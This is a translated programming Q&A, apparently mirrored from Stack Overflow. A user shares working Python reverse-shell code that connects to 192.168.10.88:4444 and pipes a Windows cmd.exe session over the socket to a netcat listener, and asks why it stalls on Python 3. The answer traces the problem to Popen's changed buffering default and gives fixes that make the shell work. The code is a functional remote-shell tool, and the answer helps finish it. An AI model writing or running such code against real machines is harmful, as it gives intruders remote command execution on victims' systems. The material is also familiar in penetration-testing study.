[英]Shell commands get stuck on python 3 but work on python 2
以下是我的reverse_shell python代码
import os,socket,subprocess,threading
def s2p(s, p):
while True:
data = s.recv(1024)
if len(data) > 0:
p.stdin.write(data)
def p2s(s, p):
while True:
s.send(p.stdout.read(1))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.10.88",4444))
p=subprocess.Popen(['\\windows\system32\\cmd.exe'], stderr=subprocess.STDOUT, stdout=subprocess.PIPE, stdin=subprocess.PIPE)
s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()
p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()
try:
p.wait()
except KeyboardInterrupt:
s.close()
我使用 netcat 作为监听器。问题是当我使用 python 3.4 shell 命令运行上面的代码时卡住了,我没有得到输出但是如果我使用 python 2 它工作正常。
bufsize
到Popen
的默认参数在 Python 2 和 Python 3 之间发生了变化。在Python 2 中,它是0
表示无缓冲。 在Python 3 中它是-1
,这意味着使用大小为io.DEFAULT_BUFFER_SIZE
的缓冲区。 在 Python 3 中,程序p.stdin
,因为程序已将数据写入p.stdin
,但尚未刷新它 - 因为缓冲区尚未填满。 在 Windows 上, io.DEFAULT_BUFFER_SIZE
为 8,192,因此您需要将 8kB 的数据写入套接字(来自 netcat),然后才能看到任何输出。
您可以切换回无缓冲流,也可以在每次写入后手动刷新数据。 或者您可以设置universal_newlines
参数并使用行缓冲( bufsize=1
)。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.